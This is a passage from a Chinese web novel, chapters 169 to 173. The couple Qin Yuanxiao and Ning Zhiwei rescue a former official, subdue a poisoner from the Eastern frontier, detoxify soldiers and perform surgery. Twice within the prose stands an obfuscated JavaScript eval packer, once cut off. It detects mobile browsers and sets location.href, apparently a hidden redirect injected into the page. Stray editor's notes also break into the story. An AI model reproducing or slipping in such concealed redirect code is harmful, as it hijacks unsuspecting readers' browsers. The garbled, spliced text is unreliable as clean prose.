商智抬头看清救命恩人,顿时一愣:“九公子?”他的声音中带着难以置信,仿佛看到了什么不可思议的事情。 “商大哥,这到底是怎么回事?”宁芷薇也走了过来,关切地问道。她从随身的荷包里取出手帕,递给商智擦拭脸上的血迹。 商智接过手帕,苦笑着摇头:“我在码头帮人修船,却被船行的人说抢了他们的生意。前几日趁我不在,烧了我的房子,还逼我签下卖身契...”说到这里,他的声音有些哽咽。 宁芷薇听得心中愤怒,这些人欺人太甚!她看向秦远霄,只见他的眉头紧锁,显然也在为这事愤愤不平。 “我们这就去县衙。”秦远霄说着,扶着商智向马车走去。他的动作虽然看似平静,但宁芷薇能感觉到他压抑着的怒火。 一对狗腿子瞄到这一幕,也不敢再阻拦,转身向码头方向跑去。他们的背影狼狈不堪,显得格外可笑。 一辆奢华的马车慢悠悠地晃到了府衙门前,宁芷薇坐在车厢内,透过车窗看着外面的街景,心中思绪万千。街边的店铺依旧热闹,小贩的吆喝声依旧此起彼伏,仿佛方才的争斗从未发生过。 商智坐在对面,神情恍惚。他时不时抬头看看秦远霄,又低下头去,似乎有什么话想说却又说不出口。 “商大哥不必担心,”宁芷薇轻声安慰道,“有相公在,一定能给你讨个公道。” 商智苦笑着摇头:“我已经不是当初的商大人了,如今只是个落魄的修船匠。九公子不必为我...” “商大哥,”秦远霄打断他的话,“你我都是遭人陷害,我岂能见死不救?” 这句话让车厢内陷入短暂的沉默。宁芷薇看着秦远霄坚毅的侧脸,心中涌起一阵暖意。这就是她的相公,永远都站在正义这一边。 来到县衙门前,蒋承志得知是秦远霄夫妇前来,立刻亲自相迎。他的脸上带着恰到好处的笑意,但看到商智时,眼中还是闪过一丝诧异。 “秦公子,夫人,请进。”蒋承志做了个请的手势,“有什么事我们进去说。” 衙门内,宁芷薇、秦远霄坐在一旁。 商智将自己的遭遇娓娓道来,声音低沉而沙哑,仿佛每一个字都带着深深的痛楚。蒋承志静静地听着,眉头越皱越紧,手指不自觉地在案几上轻轻敲击。 当商智讲到最后,整个大堂陷入了短暂的沉默。蒋承志深吸一口气,重重地敲响了惊堂木。 “啪!”清脆的声响在寂静的大堂中格外刺耳。 “这些船行的人,真是无法无天!”蒋承志的声音中充满了愤怒和不可置信。 宁芷薇站在一旁,听着商智的遭遇,心中不禁泛起一阵阵酸楚。她知道,在这个时代,像商智这样的遭遇并不罕见。但每每听到这样的故事,她还是忍不住为受害者感到心痛。 蒋承志并未追问更多细节。事实上,他手中早已掌握了大量类似的证据。这些证据足以将船行一网打尽。他的目光扫过在场的每一个人,最后停留在商智身上。 “来人,去请秦捕头!”蒋承志沉声下令。 宁芷薇注意到蒋承志的表情变得严肃起来。她知道,蒋承志这么做是因为担心船行当家的武功高强,普通官差恐怕难以应付。这个决定无疑是明智的。 不多时,秦雪松便匆匆赶到。他的脚步声在空旷的大堂中回响,每一步都显露出紧迫感。 “秦捕头,”蒋承志的声音严厉而坚定,“带二十名官差,即刻前往船行,务必将那当家的拿下!” 秦雪松领命而去,他的背影很快消失在大堂门口。宁芷薇却总觉得心里不踏实,一种莫名的不安在她心中蔓延。她偷眼看向秦远霄,发现他也是眉头微皱,显然也察觉到了什么。 蒋承志招呼众人去后堂,又命人取来热水和干净衣裳给商智更换。在等待的过程中,宁芷薇注意到商智的手一直在微微颤抖,眼神中还带着一丝惊恐。她不禁为这个饱经磨难的读书人感到心疼。 待商智换好衣服回来,整个人判若两人。那股子读书人的气质立刻显露出来,举手投足间都透露出文雅和儒雅。宁芷薇暗暗点头,心想果然是读书人。 “商先生莫急,”蒋承志温声安慰道,“待拿下船行之人,定会为你讨回公道。” 商智连忙起身行礼,声音中带着深深的感激:“多谢大人。” “商大哥可有去处?”秦远霄关切地问道。他的语气温和,显然是想帮助这个落魄的读书人。 商智摇头苦笑,眼中闪过一丝无奈:“滨村是不想回了,打算找个村子务农。” 宁芷薇听到这里,眼睛一亮。她早就想找个能工巧匠帮忙打造一些工具,商智的才能正合适。一个主意在她脑海中迅速成形。 “商大哥何不去东麓村?”宁芷薇笑着提议,“正好与我们做个邻居。” 秦远霄立刻会意,接过话茬:“是啊,我们正要建房,商大哥若不嫌弃...” 商智有些迟疑,眼中闪过一丝犹豫:“只是...” “商大哥不必担心银钱,”秦远霄直接说道,“我可以预支一笔给你。” 商智也不矫情,脸上露出感激的笑容:“那就多谢九公子了,日后定当奉还。” 正说话间,一阵急促的脚步声从外面传来。众人还没反应过来,一名官差就慌慌张张闯进来,脸上写满了惊恐。 “大人不好了!”官差上气不接下气地喊道,“船行那人会用毒,我们的人...” 宁芷薇心头一紧,一种不祥的预感瞬间笼罩了她。 “什么?”蒋承志霍然起身,声音中带着明显的震惊,“伤亡如何?” “几个弟兄已经昏迷,秦捕头也...”官差的声音颤抖着,显然被眼前的场景吓坏了。 秦远霄立刻站起,眼中闪过一丝决然:“我这就去看看。” “夫君,我和你一起。”宁芷薇也要起身,心中充满了担忧。 “不行!”秦远霄态度坚决,声音中带着不容置疑的坚定,“你现在有孕在身。” 第一百六十九章 宁芷薇咬了咬唇。她明白秦远霄是为她好,可她更担心那毒物的厉害。内心的矛盾让她感到无比煎熬。 最终,她还是跟着秦远霄出了县衙。在无人处,她悄悄塞给他一个隐形防毒面罩。 这是她从现代带来的军用装备,能防止吸入有毒气体。虽然只能使用一次,但此刻正是用得着的时候。宁芷薇心中暗暗祈祷,希望这个小小的装置能够保护丈夫的安全。 看着秦远霄远去的背影,宁芷薇不禁握紧了拳头。她虽然不能亲自前往,但至少能用这种方式保护丈夫的安全。这种无力感让她感到沮丧,但她知道,现在最重要的是保护腹中的孩子。 宁芷薇站在县衙门口,目送秦远霄离开。春日的微风拂过她的脸颊,带来一丝凉意。她深吸一口气,试图平复内心的焦虑。 就在这时,一阵急促的马蹄声从远处传来。宁芷薇抬头望去,只见一骑快马飞奔而来,马上的人影在阳光下显得模糊不清。 “是谁?”宁芷薇喃喃自语,眯起眼睛试图看清来人。 随着马匹越来越近,宁芷薇终于认出了马上人的身份。那是秦远霄的好友,同时也是当地有名的大夫——楚高。 楚高勒住马缰,翻身下马。他的脸上写满了焦急,额头上还挂着细密的汗珠。 “芷薇,”楚高快步走到宁芷薇面前,“我听说船行那边出事了?” 宁芷薇点点头,简单地将事情经过告诉了楚高。 楚高听完,眉头紧锁:“这可不是好事。那船行的人向来狡猾,如果真的使用了毒物,恐怕不好对付。” “楚大夫,你有办法吗?”宁芷薇急切地问道。 楚高沉思片刻,从怀中掏出一个小瓷瓶:“这是我最近研制的解毒丹,虽然还没有完全成熟,但应该能够缓解一些毒性。” 宁芷薇接过瓷瓶,心中涌起一丝希望:“那就太好了。楚大夫,能否请你亲自去一趟?我担心...” 楚高理解地点点头:“我明白。你放心,我这就去。” 看着楚高骑马离去的背影,宁芷薇心中稍稍安定了一些。她知道,有楚高这样的名医在场,情况应该会好转。 然而,等待的时间总是漫长而煎熬的。宁芷薇在县衙门口来回踱步,每一分每一秒都像是被无限拉长。她的脑海中不断闪现各种可能发生的糟糕情况,这让她感到无比的焦虑。 虽然给了秦远霄防毒面具,但这种简易版的防护效果究竟如何,她心里也没底。更何况,船行里的情况还不明朗,万一除了毒物还有其他危险...她不由攥紧了手中的帕子。 “冷静,冷静,”宁芷薇默默对自己说,“秦远霄一定会没事的。” 就在这时突然传来一阵嘈杂,打断了她的思绪。 “让让!快让开!” “八爷中毒了!快去请大夫!” 此起彼伏的惊呼声中,宁芷薇朝一行人奔去。裙摆翻飞间,她的目光第一时间锁定了被抬进来的秦雪松。 “快将人放到这里。”她指挥着官差们小心翼翼地放下担架。 秦雪松面色发青,呼吸急促,额头上布满冷汗。这症状...宁芷薇蹙眉,指尖轻轻搭上他的脉搏。 “脉象紊乱,心跳加速...”她低声呢喃着,眼中闪过一丝凝重。 这毒性与银环蛇毒有几分相似,但来势更为凶猛。思索片刻,她很快锁定了毒源——玉斑蛙。东陲特有的剧毒之物,寻常大夫根本无从下手。 “八爷情况如何?”一个官差小心翼翼地问道。 宁芷薇抬头,注意到周围已经围了不少人。“需要立即施救,衙门可有空置的房间?”和上文逻辑一致做的修改 蒋承志连连点头,“有有有,后院的两间房都空着。” “好,立即将人抬上去。另外...”她环视一圈,“其他中毒的人也要分开安置,以防交叉感染。” 在她的指挥下,官差们手忙脚乱地将人安顿好。趁着众人忙乱之际,宁芷薇迅速从秦雪松身上取了血样。 找个隐蔽的地方,她取出随身携带的简易检验工具。血液在试剂中呈现出特殊的紫色反应,更加印证了她的判断。 所幸界阙里还养着不少玉斑蛙,解毒并非难事。但为了不引人生疑,她还是佯装要去医馆抓药。 “我去准备药材,你们好生看着。”她对守在门口的官差们交代道。 与此同时,船行门前。 秦远霄站在大门外,深吸一口气。他能感觉到面具下自己的呼吸声格外清晰。虽然宁芷薇再三保证这面具能挡住毒物,但真到了这一刻,他还是不免有些紧张。 “大人,要不要属下先...”身后的官差小声提议。 不等他说完,秦远霄已经一脚踹开了大门。 “嘭!”的一声巨响中,白色粉末如烟花般炸开。 几个官差下意识地后退,却见秦远霄稳稳地站在原地,仿佛那些粉末对他毫无影响。 门内,一个身着东陲服饰的男子脸上的得意瞬间凝固。他显然没料到自己精心准备的毒粉会这样失效。 “你...你是什么人?”东陲男子色厉内荏地问道,声音里带着明显的颤抖。 秦远霄没有回答,目光冷冽地打量着对方。房间里弥漫着一股诡异的香气,若不是戴着面具,只怕早已中招。 就在这时,他注意到东陲男子的手悄悄伸向腰间。眼疾手快之下,他一个箭步上前,死死扣住对方的手腕。 “咔嚓!” 清脆的骨裂声中,东陲男子发出一声凄厉的惨叫。然而他似乎还不死心,另一只手也想掏出什么。 秦远霄冷笑一声,同样折断了他的另一只手臂。 “把人绑了。”他对门外的官差们喊道。 直到这时,官差们才敢冲进来,七手八脚地将东陲男子捆了个结实。 整个船行内诡异地安静,除了东陲男子的呻吟声,再无其他动静。这反常的宁静让秦远霄心生警惕。 他仔细打量着四周,忽然注意到地上有些细微的痕迹。那是一串几乎难以察觉的脚印,若不是阳光从窗户斜射进来,打在地面上形成特殊的光影,根本发现不了。 顺着痕迹看去,通往后院的门虚掩着。 “看住他。”秦远霄对官差们吩咐道,自己则循着痕迹追了过去。 推开后院的门,浓重的血腥味扑面而来。几具尸体倒在血泊中,从衣着看,应该是船行的伙计。 第一百七十章 秦远霄蹲下身查看尸体。这些人的死因并非中毒,而是利器所伤。每一具尸体上都有一道致命的剑伤,干净利落,显然出自高手之手。 这就更加印证了他的猜测——东陲毒师只是个幌子,真正的凶手另有其人。而且对方显然是个用剑高手。 就在这时,一阵微风拂过他的后颈。那种令人毛骨悚然的感觉让他立即做出反应。 秦远霄猛地转身,一道寒光直奔他面门而来! 与此同时,衙门这边。 宁芷薇端着刚熬好的药回到房间,看到秦雪松的脸色稍有好转,这才松了口气。她在熬药时加入了从玉斑蛙体内提取的抗体,效果已经开始显现。 “一个时辰内,他们就能醒来。”她对守在一旁的官差说道,“不过这段时间要密切观察,如有异常立即通知我。” 她在床边坐下,目光落在秦雪松苍白的面容上。虽然解了毒,但总觉得事情没这么简单。那个东陲毒师,真的会这么容易就被抓住吗? 想到还在船行的秦远霄,她的心又提了起来。 “但愿一切顺利...”她轻声呢喃,目光不自觉地望向窗外。 宁芷薇站衙门口,望着街道尽头渐渐暗沉的天色,手指无意识地绞着衣袖。虽说秦远霄武功高强,但这次对手是东陲人,最擅使毒,难保不会出什么意外。 耳边传来对面茶楼内茶客的谈笑声,伙计端着茶盘来来往往。宁芷薇却充耳不闻,目光始终停留在街角处。 “姑娘要不要进去喝杯茶?”伙计热情地招呼道。 宁芷薇摇摇头,继续守在门口。街上行人渐少,夕阳的余晖为青石板路染上一层金色。 突然,街角处传来一阵骚动。只见秦远霄单手提着一个被捆得结结实实的男子大步走来,那人一身黑衣,面容阴鸷,手臂以一个诡异的角度耷拉着,显然是断了。 “让开!让开!”路人纷纷避让。 “薇薇。”秦远霄快步走到她面前,目光中带着几分柔和,“等急了吧?” 宁芷薇仔细打量着他,见他除了衣袖沾了些灰尘外毫发无损,这才暗暗松了口气:“这就是下毒的人?” “正是。”秦远霄随手将那东陲人扔在地上,“这厮不仅下毒,还占据了船行,背后必有隐情。” 被摔在地上的东陲人闷哼一声,眼中闪过一丝怨毒,却不敢多言。 宁芷薇蹙眉,东陲人突然来到宁远当上船行的头目,这其中必有蹊跷:“说吧,谁派你来的?” 那人眼珠转了转,换上一副可怜相:“两位若是愿意放我一马,我什么都告诉你们。” “呵。”宁芷薇冷笑,“都这时候了还想耍花招?” 秦远霄显然也没什么耐心,抬脚就踹在那人断掉的手臂上。 “啊!”凄厉的惨叫声引来不少路人驻足。 “都散了吧,官府办案。”秦远霄朗声道,同时拉起宁芷薇的手,“换个地方说话。” 转进一处偏僻的小巷,周围只有几间破旧的民居,偶尔传来几声犬吠。东陲人被重重摔在地上,终于露出了惊恐的神色:“好汉饶命!我说!我说!” “那就快说。”秦远霄语气冰冷,眼中寒光闪烁。 宁芷薇看着他冷峻的侧脸,心中暗暗好笑。平日里这人看着温和,一旦动怒起来倒是挺吓人。不过这样的他,倒让她想起了初见时那个冷面阎王的模样。 “是...是沧澜先生派我来的。”东陲人颤声道,豆大的汗珠从额头滚落,“让我打探秦家的消息。” 秦远霄眸光一凝:“果然是他。” 宁芷薇心中一动。沧澜先生,那个隐居东陲多年的神秘人物,近来不知为何频频派人到中原活动,竟然对秦家如此关注。 “你师公为何要打探秦家?”她追问道。 东陲人支支吾吾不肯说,秦远霄眼中寒光一闪,那人立刻吓得魂飞魄散,连声音都变了调:“我真的不知道具体原因!师公只说要我盯着秦家的一举一动,尤其是...是...” “尤其是什么?”宁芷薇追问。 “尤其是秦远霄和他的夫人。”东陲人看了眼秦远霄,声音越来越小,生怕惹怒了这位煞神。 宁芷薇心头一紧,原来他们才是真正的目标。难怪这段时间总觉得有人在暗中窥视。 秦远霄将她护在身后:“继续说。” “师公说...说要找个机会试探一下秦九爷的功夫。”东陲人额头冷汗直冒,“所以我才会在街上让人挑衅。那些醉汉都是我找来的,故意在茶楼闹事。” “就这些?” “还有!”东陲人像是想起什么,“师公特意叮嘱,要我留意秦九爷和夫人的一举一动,尤其是...尤其是夫人的身体状况。” 宁芷薇心中一惊,下意识摸了摸腹部。她怀孕的事情除了秦远霄,连府里的下人都不知道,沧澜先生为何会关注这个? 秦远霄眸色一沉,周身散发出凌厉的杀气:“你们敢打我夫人的主意?” “不敢!不敢!”东陲人吓得直打哆嗦,“师公只是让我观察,绝没有要伤害夫人的意思!” “东陲收到秦家的消息了吗?”秦远霄的声音冷冽如霜,他居高临下地注视着跪在地上的东陲人。窗外的阳光透过雕花窗棂洒进来,在地上投下斑驳的光影。 东陲人浑身颤抖,额头上的汗珠不断滚落。他低着头,手指无意识地抓挠着地板,喉结上下滚动了几下才挤出声音:“没...没有。” “一个月的时间,你什么都没做?”秦远霄眯起眼睛,眸中寒光闪烁。他缓步向前,皮靴与地板相碰发出沉闷的声响。 宁芷薇站在一旁,默默观察着这个东陲人。他穿着一身灰扑扑的布衣,看起来与普通商贩无异,但那双躲闪的眼睛和微微发抖的双手,无一不在暴露他内心的恐惧。 “真的什么都没做!”东陲人额头沁出更多冷汗,声音带着哭腔,“我本该送回消息的,可是...” “说下去。”秦远霄在他面前站定,居高临下的姿态更添几分压迫感。 东陲人咽了咽口水,声音颤抖:“是这样的,恩师赐予我一只神秘莫测的飞鸽,那信鸽极通灵性,无论师公去了哪里都能找到他。可我...我在郡城花楼喝酒时,信鸽被人偷了。” 宁芷薇闻言挑了挑眉,这倒是个意外之喜。她悄悄瞥了眼秦远霄,发现他的表情也有了细微的变化。 “继续。”秦远霄的语气稍缓。 “师公脾气暴躁,若是知道我弄丢了信鸽,定会要我的命。”东陲人声音发颤,身子缩得更小了,“所以我不敢回东陲,就在永安躲着。那段日子我整日惶惶不可终日,生怕被师公的人找到。” “于是你就来宁远抢了船行的生意?”秦远霄冷笑一声,眼中闪过一丝讥讽。 第一百七十一章 东陲人擦了擦额头的汗水:“我在郡城混了一个月,觉得那边儿没什么油水。听说宁远的船行来钱快,就...”他的声音越来越小,最后几乎听不见。 宁芷薇突然感到一阵反胃,她下意识地后退了一步。东陲人身上若有若无的血腥气让她很不舒服,那是一种令人作呕的腥臭味,仿佛沾染了无数条人命。 秦远霄察觉到她的不适,眉头微皱。他沉声问道:“最终的疑惑,沧澜先生在哪里?” “这个我真不知道!”东陲人急忙摆手,额头的青筋都暴起来了,“师公行踪诡秘,我只见过他一面,还没看清他的样子。他都是通过我师父传话的。” “你师父是他的大徒弟?” “是...是的。”东陲人点头如捣蒜。 秦远霄看了眼宁芷薇苍白的脸色,柔声道:“薇薇,你先去茶楼大堂等我,我送他去县衙。” 宁芷薇捂着胸口,快步离开了院子。她走到门口时,还能听见身后传来东陲人的求饶声。 宁芷薇放心不下八哥,随后也去了县衙。 来到衙门后院,她发现秦雪松已经清醒过来,正要起身出去。 “八哥,你刚解毒,最好再休息会儿。”宁芷薇连忙劝阻,“你的脸色还很差。” 秦雪松摆摆手,眼中闪过一丝坚定:“我要去会会那个下毒的人。” 这时秦远霄来了,他按住秦雪松的肩膀:“八哥,人已经送到衙门了,蒋大人会处理,你安心养伤。” 秦雪松这才重新坐下,听秦远霄讲述审问的经过。 “那船行的人呢?”宁芷薇突然想起正事。 秦远霄的表情变得严肃起来:“那个使用毒物的人被我们制服了,现在正关在牢里。不过,船行的当家人却趁乱逃走了。” 宁芷薇皱起眉头:“这可不是个好消息。那人若是逃走,恐怕日后会再生事端。” 秦远霄点点头:“我已经派人四处搜寻了。不过那人武功高强,恐怕不容易抓到。” “九弟,沧澜先生不除,我们永远不得安宁。”秦雪松握紧拳头,指节发白,“父兄的下落也无从得知。” “八哥,此事需从长计议。”秦远霄沉声道,“沧澜先生用毒施蛊的本事极高,我们不能轻举妄动。这次的事就是个教训,若不是薇薇及时发现,后果不堪设想。” 一旁的商智默默听着,对秦家的处境有了更深的了解。他看着秦远霄兄弟,不禁想到自己的遭遇,心中涌起一丝共鸣。 就在这时,蒋承志从县衙前厅里走了过来。他的脸上写满了疲惫,但眼神依然坚定。 “诸位辛苦了,”蒋承志环视众人,“这次虽然没能一网打尽,但至少抓住了一个重要人物。接下来,我们要好好审问他,看看能不能挖出更多线索。” 众人纷纷点头表示赞同。 宁芷薇看着的场景,心中百感交集。她知道,这只是一个开始。船行背后牵扯的利益错综复杂,要彻底根除这个毒瘤,还有很长的路要走。 但是,看着身边这些正直勇敢的人,宁芷薇心中涌起希望。她相信,只要大家齐心协力,终有一天能够还这片土地一个朗朗乾坤。 离开衙门,已是午后。阳光炙热,街上行人稀少。秦远霄让马车在前面开路,自己则骑马跟在后面,警惕地观察着四周。 回到东麓村,秦远霄向家人介绍了商智。众位嫂嫂得知他的遭遇后,都对这个孤苦伶仃的前朝官员充满同情。特别是大嫂,立刻吩咐厨房准备了一桌丰盛的晚饭。 饭桌上,商智讲述了自己的经历。他原本是大周朝的六品官员,因为得罪权贵,全家被流放。在路上遭遇山匪,父母妻儿惨死,只有他一人逃了出来。 “商先生,节哀。”大嫂叹了口气,给他夹了块鱼肉,“以后就把这里当成自己家。” 秦远霄见商智情绪低落,便转移话题:“我已经帮你在姜家族长那里租了院子,离我们不远。日用之物也都准备齐全了,你先住下来,其他的事慢慢再说。” 商智感激地点点头,眼中泛起泪光。 第二天一早,宁芷薇将准备好的解药分给各位嫂嫂。她一边分发,一边细心叮嘱:“这药要连服七日,每日早晚各一次。若是觉得身体不适,一定要及时告诉我。” 众位嫂嫂连连点头,对她的医术充满信心。 安排完这些事,宁芷薇回到自己的院子。她进入界阙查看,就收到了古玩鉴赏家的消息。 【云芝已到手,随时可以上架。】 宁芷薇看着这条消息,嘴角微微上扬。这株云芝可是难得的药材,对解毒大有帮助。有了它,她就能配制出更好的解药,为秦家抵御沧澜先生的毒术多添一份保障。 宁芷薇望着手机屏幕,嘴角不自觉地扬起一抹笑意。云芝终于要到手了,那些被困在东陲的药人就有救了。她的手指在屏幕上快速滑动,给古玩鉴赏家发去消息。 【太好了,有空就直接挂上去!】 窗外的阳光透过薄纱窗帘洒进来,在地板上投下斑驳的光影。宁芷薇坐在飘窗边,双腿轻轻晃动,像个等待糖果的小女孩。 手机震动,古玩鉴赏家的回复很快就来了。他已经将云芝挂在了仙市阁上,这药材早就被官方下架了,特意改了个模棱两可的名字,还只标了一元的象征性价格。 宁芷薇摩挲着手中的赤霞珠,温润的触感让她想起了古玩鉴赏家这段时间的帮助。这颗珠子或许能表达她的谢意。 【瞧瞧这玩意儿。】她将东璧拍照发了过去,照片里的珠子在阳光下泛着迷人的光泽。 消息那头沉默了片刻,随即爆发出一连串的惊叹:【天呐!这是...这简直是稀世珍宝!】 宁芷薇打开仙市阁的评估系统,看到标价六千万的时候直接傻眼了,她的手指微微颤抖。但很快,她就平静下来。在她这里,无论多贵重的宝物,都只按最低价出售。这是她的原则。 【这六千万你接不接?】她轻轻敲击着键盘。 【要要要,赶紧挂上架!】古玩鉴赏家的回复里透着掩饰不住的兴奋。 交易很快完成。宁芷薇立即投入到解药的调配中,整整三天没合眼。她的眼睛布满血丝,但手上的动作却一刻不停。药材的香气在界阙里弥漫,她的额头上沁出细密的汗珠。 秦远霄几次想劝她休息,却被她轻轻摇头拒绝。他只好守在一旁,递水送饭,默默陪伴。 第一百七十二章 终于,两种解药都配制成功了。一颗吃的小药丸,晶莹剔透,散发着淡淡的药香;另一种则是药浴用的汤剂,深褐色的液体冒着腾腾热气。 “薇薇。”秦远霄看着界阙里昏迷的三十多个药人,声音轻柔得像是怕惊醒了谁,“我在山上找到了个幽谷,明早带你去看看。” 宁芷薇点头,她也明白不能在界阙里处理这么多人。疲惫的双眼微微眯起,她靠在秦远霄肩上小憩片刻。 第二天一早,秦远霄带着她上山。山路崎岖,他走得很慢,不时回头查看她的情况。每当宁芷薇要踩到松动的石子,他都会及时伸手扶住她。 这是宁芷薇第一次来到这片山地。晨露未干,空气中弥漫着泥土和青草的清新气息。虽然树木被砍伐了不少,但依然保持着原生态的风貌。阳光透过树叶间的缝隙洒下斑驳的光影,远处传来鸟儿清脆的鸣叫。 幽谷很隐蔽,藤蔓遮掩着入口。但内部界阙不小,光线从顶部的缝隙漏进来,照亮了洞内的情况。几张粗糙的石床和小板凳散落各处,显示这里曾是村民们歇脚的地方。 宁芷薇从仙市阁买来十几个大木桶,将药浴水倒进去,又小心翼翼地把那些药人转移到幽谷里。每移动一个人,她都要仔细检查他们的状况。 “你先回去吧。”秦远霄看着她疲惫的样子,柔声劝道,“这些都交给我。” 宁芷薇犹豫了一下,最终点点头。她知道自己确实需要休息,而且还要去找墨圆儿玩耍,不能让小家伙等太久。 秦远霄目送她离开,转身回到家中,找来三哥五哥。客厅里,阳光透过窗户洒在地板上,照亮了三人凝重的面容。 “九弟,出什么事了?”五哥见他神色异常,忙问道。他的手指无意识地敲击着茶几,显示出内心的不安。 秦远霄深吸一口气,沉声道:“三哥、五哥,我在东陲不但找到了六哥七哥,还发现了当年和我们并肩作战的兄弟们。” “什么?”三哥猛地站起,茶杯被带倒,热茶洒在桌面上,无人在意。 “他们都被东陲人用魇魂蛊控制,变成了药人。”秦远霄握紧拳头,指节发白,“现在我已经把他们救出来了,但需要你们帮忙。” 三哥暴怒之下砸碎了门框,发出沉闷的响声:“这些畜生!”他的声音里充满了压抑的愤怒。 很快,三人带着庞勇等人上山帮忙。解毒工作一直持续到深夜,月光透过幽谷顶部的缝隙洒进来,照亮了众人忙碌的身影。 与下文重复叙述 “小姐,您该歇息了。”芳儿小声提醒道,递上一杯温热的茶水。 宁芷薇接过茶盏,指尖微微发颤。她配制的解药全凭经验和古方,没经过任何实验验证。这几日她一直忐忑不安,生怕出现任何差错。每每想到那些将士的生命都系于一线,她就寝食难安。 “多谢。”她轻抿了一口茶,温热的液体滑过喉咙,带来一丝暖意。 秦远霄推门而入,看到她憔悴的模样,眉头不自觉地皱起。“薇薇,你该去休息了。” “他们情况如何?”宁芷薇顾不上休息,急切地问道。 “他们现在虚弱得很,这么久没进食,能活下来已是上天眷顾。”秦远霄叹了口气,在她身边坐下,“大夫说需要慢慢调养。” 宁芷薇点点头,眼中闪过一丝心疼。战士们此时无比渴望与家人相聚,这点她再清楚不过。想到那些日日盼望亲人归来的家眷,她的心不由得揪紧。 “我已经和他们谈过了。”秦远霄似是看出她的心思,轻声解释道,“他们打算养好身子就回家看看。” “回家看看?”宁芷薇眉头微蹙,语气中带着几分疑惑。 院中的风轻轻拂过,带来一阵花香。秦远霄望着远处,神色有些复杂:“是啊,他们说以后要跟着秦家在塞北生活。明德帝如此昏庸,他们不愿再为这样的君主效力。” 宁芷薇沉默片刻,手指无意识地摩挲着茶盏。这些人曾是秦家旧部,如今选择留在塞北,对大家都好。她能理解这些军人的选择,无论在哪个时代,保家卫国的将士都值得尊敬。 “对了。”秦远霄忽然压低声音,“几位兄长商议过,暂时不告诉家里女眷此事。等他们伤好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘别担心,我会注意休息的。”宁芷薇安慰道,心中一暖。 第一百七十三章 秦老夫人轻轻拍了拍她的手,眼角泛着泪光:“你这孩子,总是这么懂事。”说着,便招呼着众人离开,给他们腾出地方。 看着老夫人的背影,宁芷薇心中百感交集。母亲总是如此体贴,懂得为他人着想。她深吸一口气,转身开始准备手术所需的器械。 四嫂站在原地,目光紧紧追随着秦远霄背着四哥离开的身影。她的手指不自觉地绞在一起,眼中满是担忧和焦虑。房间里的空气仿佛凝固了,只有她急促的呼吸声在回荡。 秦远霄能感受到四嫂的不安,但现在最重要的是尽快为四哥治疗。他回头看了一眼四嫂,声音低沉而坚定:“四嫂,请相信我们。我和芷薇会尽全力救治四哥。” 四嫂张了张嘴,想说些什么,却又不知从何说起。她只能用力点头,眼泪在眼眶中打转。 秦远霄继续说道:“治疗过程需要绝对的安静,在我开门之前,请不要来打扰。” 四嫂呆呆地点头,声音有些哽咽:“好......我知道了。”她的手紧紧攥着衣角,指节因用力而发白。 锁好房门后,宁芷薇带着两人进入界阙。熟悉的环境让她稍稍放松了一些,但四哥的伤情依然让她心头沉重。 秦远霄见她神色凝重,忍不住问道:“薇薇,你没事吧?要不要先休息一下?” “不用。”宁芷薇摇摇头,手上动作不停,“时间不等人,早点开始早点结束。” 她一边说着,一边从界阙中取出各种医疗器械。银针在阳光下泛着冷光,手术刀锋利的刃口闪着寒芒。秦远霄看着这些陌生的器具,心中不由得一紧。 “远霄,帮我把这些消毒液倒进盆里。”宁芷薇指着角落里的瓶子说道。 秦远霄连忙照做,动作小心翼翼。他看着妻子忙碌的身影,心疼又担忧。她怀着身孕还要做这么复杂的手术,若是出了什么意外... 似是察觉到他的担忧,宁芷薇停下手中的动作,转身看向他:“放心,我有分寸。” 秦远霄张了张嘴,最终只是轻轻“嗯”了一声。他知道,此时的宁芷薇已经完全进入了医者的状态,任何劝阻都是徒劳。 房间里渐渐安静下来,只剩下器械碰撞的细微声响。阳光透过窗户洒在地上,将两人的影子拉得很长。 宁芷薇深吸一口气,开始做术前准备。她的手有些微微发抖,不是因为害怕,而是因为即将面对的挑战。四哥的伤情复杂,骨折和肌肉坏死本该分两次手术,但现在的情况不允许拖延。她必须一次性完成所有治疗。 “芷薇,你没问题吧?”秦远霄注意到了她的异常,关切地问道。 宁芷薇摇了摇头,强迫自己冷静下来:“我没事,只是在想接下来的手术步骤。”她深吸一口气,眼神变得坚定起来,“我们开始吧。” 手术正式开始。接骨是最耗费精力的部分,宁芷薇全神贯注地操作着,汗水不时从额头滑落。她的眉头紧锁,眼睛一眨不眨地盯着手术部位,生怕错过任何细节。 秦远霄心疼地看着她,却只能在一旁递送器械,帮不上太多忙。他默默地为她擦去额头的汗水,递上水和营养剂,尽可能地减轻她的负担。 时间一分一秒地流逝,手术室里的气氛越来越紧张。宁芷薇的手开始有些发抖,但她咬紧牙关,强迫自己继续。秦远霄注意到了她的状态,轻声说道:“要不要休息一下?” 宁芷薇摇了摇头,声音有些沙哑:“不行,现在是关键时刻,不能停下。”她深吸一口气,继续专注于手术。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663475|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五个小时后,骨头总算接好了。宁芷薇的手已经明显在颤抖,秦远霄立刻接手处理坏死的肌肉。虽然这部分相对简单,但他依然小心翼翼,生怕出一点差错。 宁芷薇坐在一旁指导,时不时提醒一些细节。她的声音已经有些嘶哑,但依然保持着清晰和冷静。“小心那里的血管,”她说,“再往左一点,对,就是那里。” 秦远霄按照她的指示操作,额头上也渗出了细密的汗珠。他们配合得天衣无缝,仿佛已经合作了无数次。 终于,一整天的手术完成了。四哥的各项指标都很稳定,但为了以防万一,宁芷薇决定继续观察一段时间。 